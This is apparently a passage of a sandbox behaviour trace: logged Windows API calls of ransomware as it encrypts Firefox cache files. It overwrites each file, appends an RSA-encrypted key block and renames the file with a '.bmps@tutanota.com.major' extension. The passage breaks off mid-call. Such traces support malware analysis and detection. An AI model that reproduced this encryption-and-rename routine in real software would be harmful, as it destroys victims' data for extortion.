SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A4E2A71FA2039E9791193EE5E177FC69FFD31AD", dwFileAttributes=0x80) returned 1 [0281.117] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1898, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1898, lpOverlapped=0x0) returned 1 [0281.118] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.119] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a8c8*, nNumberOfBytesToWrite=0x1898, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1898, lpOverlapped=0x0) returned 1 [0281.119] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1898 [0281.119] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.119] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.119] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.119] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.119] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.120] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lOPF70zHsiTqS3PFyRNBjor3gGR+OnrDPF4KvM3apkBSGFyqVNC3kK4MGhSQwu+Q\ntTUbp15oFwBFyI5436Q09mg+OeCoPSccSnxVknHtyF8GyN9qR+IFITYa/CVO5xsU\nnGwr5fuETehGZ+i4zXI77un1/WGOxkmBxbYUeGXKFUqEnOiTl2ByJxLf5yXEBuxk\npgTdTG2owsl92xxVTLC2Scor8zMVo6DsVKnWL6rntJuiybux8e292jRHsyzxpgTU\n0Kn10fcqZ84j3HY6A0vLi0jrtP3m00kPWKwd+EKTQJ9JydEglEfCeEeel+1e8Nhg\nsVqhULAyDoGMnAlPa79CEQ==\n", pcchString=0x2e3f9a8) returned 1 [0281.120] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.120] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.120] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.120] CloseHandle (hObject=0x1b84) returned 1 [0281.120] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A4E2A71FA2039E9791193EE5E177FC69FFD31AD" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a4e2a71fa2039e9791193ee5e177fc69ffd31ad"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A4E2A71FA2039E9791193EE5E177FC69FFD31AD.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a4e2a71fa2039e9791193ee5e177fc69ffd31ad.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.122] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.122] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A24CBE07E70F6A875538D4584254A734BA5E7FE", dwFileAttributes=0x80) returned 1 [0281.122] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0281.428] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.428] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a170*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a170*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0281.431] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1139 [0281.432] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.432] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.432] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.432] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.432] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.432] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="p3myuabZdbbI6AYIWD2gjgLarg721nTPDmg4goKWi8lAzT9a7fQOa2cvjDEVpPBE\nIqNmG91081HUY708MH91dt6NIEmaQlGYSgwhGfre+T0F+rlm8fKDun8AEcbIDf8h\niQ7kIil/we3woZ7uOoTHjBa5M0jMRLKvUY++QXztvxd7D+N7ESJURPkcWK6jhGqT\nQpEUAdjIY7JagpXnt3dkygfCt1HcqxothJ8EwLth0kaO/CqYHyV2MrtQAIhXeY64\n+BvFJq5DbTmGqn/ns9BR+t8TUEnETd3MDHCMnfUo2H7u8PfBJvqeVa82sclolgHV\nKVjSV66MmhV02uY5qB7Org==\n", pcchString=0x2e3f9a8) returned 1 [0281.433] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.433] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.433] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.433] CloseHandle (hObject=0x1b84) returned 1 [0281.433] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A24CBE07E70F6A875538D4584254A734BA5E7FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a24cbe07e70f6a875538d4584254a734ba5e7fe"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A24CBE07E70F6A875538D4584254A734BA5E7FE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a24cbe07e70f6a875538d4584254a734ba5e7fe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.436] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.436] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59", dwFileAttributes=0x80) returned 1 [0281.436] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xefd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xefd, lpOverlapped=0x0) returned 1 [0281.600] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.600] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0xefd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefd, lpOverlapped=0x0) returned 1 [0281.600] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefd [0281.601] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.601] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.601] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.602] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.602] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.602] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Qv+HahORkOo2MFE7GJETrq1osYr9Hc+wE3jUa5V3iESgtrFje2w0k5j7tUbl4407\ngqMTfBNjTt3a/haNOGhEIirqyjOFx4/nvtG7WnhzNyaoE9NmWLVIlZaNLAu63aH8\n8dBNSMYhsTtJSz8TD88FrXnTowK5WXMOmaszM0DuCaDnWy0sNAhmPHBi1pepZApk\nTIC8fkpi+1LOiAJlEDzxRsyv5iVTwL3OyhFvS3atC9/A1s+u/fm+Z731YMj9Hp1d\nyzz+VlGcPqiCQRDpqiqBZFXbG7HZhw+EF/46Ap/miRKe43P1qnsG30hl4544UuDb\nGclHNCzeT7vl7CAPNCVdmA==\n", pcchString=0x2e3f9a8) returned 1 [0281.602] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.603] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.603] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.603] CloseHandle (hObject=0x1b84) returned 1 [0281.603] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a0ecb43758cbb8b533a8a2c1a14dad94af73d59"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3a0ecb43758cbb8b533a8a2c1a14dad94af73d59.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.606] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.606] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\39CC8AA9054EC6244CA281EEA4BD937517E2861D", dwFileAttributes=0x80) returned 1 [0281.607] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x4fcf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x4fcf, lpOverlapped=0x0) returned 1 [0281.648] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-20431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.648] WriteFile (in: hFile=0x1b84, lpBuffer=0x34407f8*, nNumberOfBytesToWrite=0x4fcf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34407f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4fcf, lpOverlapped=0x0) returned 1 [0281.649] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4fcf [0281.649] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.649] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.650] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.650] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+kcl59zui6joBlDhCqw57GsBdcMQihSVTb5TtnXYKajQeEYhjsX2r1aa9MDg1ZY6\nAPkxymWkoyYNZtp2FsZ3u7aGzbsb2u5BdaUG/+Z+eQ9zH6bzEOM8kwIwmASRPSXw\nC5NxshX4XWXtQ8ouHbuzdZUnwoYhlSlf1EhtTXgMXu4tlHq3aDgvfr2K2wJob/0x\nQlS/IAMuTVZ3JuuhQlFrc+D38KKGy0j3rDnLv5n6CWy/OmoLVIOBhSLGL5ufFSke\nReWNHqQeIYS8lDBrDDS4unMNrUJKy1bvbIW/aXUrxN4z+2JXlMlKXk0MIpZ3/bGw\nDQKrIXbkoHwks4cQkOSVgQ==\n", pcchString=0x2e3f9a8) returned 1 [0281.650] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.651] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.651] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.651] CloseHandle (hObject=0x1b84) returned 1 [0281.652] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\39CC8AA9054EC6244CA281EEA4BD937517E2861D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\39cc8aa9054ec6244ca281eea4bd937517e2861d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\39CC8AA9054EC6244CA281EEA4BD937517E2861D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\39cc8aa9054ec6244ca281eea4bd937517e2861d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.655] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.655] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\37D63D8E3209E1320DA8FE39BB8886154CC74653", dwFileAttributes=0x80) returned 1 [0281.655] ReadFile (in: hFile=0x1b84, lpBuffer=0x3439010, nNumberOfBytesToRead=0x1166, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesRead=0x2e3f9b4*=0x1166, lpOverlapped=0x0) returned 1 [0281.679] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.679] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x1166, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1166, lpOverlapped=0x0) returned 1 [0281.680] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1166 [0281.680] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.680] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.681] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.681] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.681] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.682] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Q0RoGWxSuU9Fme3WnA0VWPsTtVO6CDp0SKwANqBq7RBAfFvQ5+CwXdoONaWTSOhj\n9e0SuKsCkT7tJSV9eYgvPjneS1KW+jzA12ORZIrK1Wfsg3Iru+6hsKPpYPGBOu6K\nLeTag2Hhldt1fE/IpzRRJ3QcW79GfXs4J2Px7vRyyKiGlBQX6Dh86psPLKkzPUrK\n+FTTiVNUXCNK3qazd6AGnbAslagRcvr3voMZIukXbhJ+x69C2zqj9WXl83kzRcQd\nmzgLYmwTk5ja0YbwW38stguWQbFg93I73l6U7kDJiylP9QpU1567NV7XUZsiVDmj\ndNmiyR9JZqtJIpPXoz+MAg==\n", pcchString=0x2e3f9a8) returned 1 [0281.682] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.682] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.682] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.683] CloseHandle (hObject=0x1b84) returned 1 [0281.683] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\37D63D8E3209E1320DA8FE39BB8886154CC74653" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\37d63d8e3209e1320da8fe39bb8886154cc74653"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\37D63D8E3209E1320DA8FE39BB8886154CC74653.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\37d63d8e3209e1320da8fe39bb8886154cc74653.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.686] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.686] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\356FCE9F932692DC643481DBA1ABEA937B629F58", dwFileAttributes=0x80) returned 1 [0281.686] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a6080, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a6080*, lpNumberOfBytesRead=0x2e3f9b4*=0x64, lpOverlapped=0x0) returned 1 [0281.687] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.687] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a10c8*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x64, lpOverlapped=0x0) returned 1 [0281.688] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x64 [0281.688] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.688] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.689] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.689] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.689] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.689] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mviRtPMsiWzd3WbsraIg83IoEKaS4+HFBz777RDHTbmHZ//Ub1NTROkVSQtadk5h\n9i9aDRuvWPxAQ6qc2oLnBePYblyAAuRSEAXak/MocKYT7HiZbPCF5foNxzua6NKB\n9yJaeHK6U+W0aQ1NX8lSxvAyzdiluhdgGwCXMi3Q6FrJoh6BIay/PbXawHfq4HAv\nUN23FtcInGTlP33K0XcKhXWYXivG3Kx41Y9QnOjpUET/fiJ1LYAGtnmu7OM75LLO\nJNG9T06KP5+YBjGOFIpngrsn0+OPTrHaIiC2bLI1BVAaxZJ0sGzUPJ1u2vDq+AH2\n/O7JSbSg/CCUbGpabYPPmg==\n", pcchString=0x2e3f9a8) returned 1 [0281.689] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.690] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.690] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, 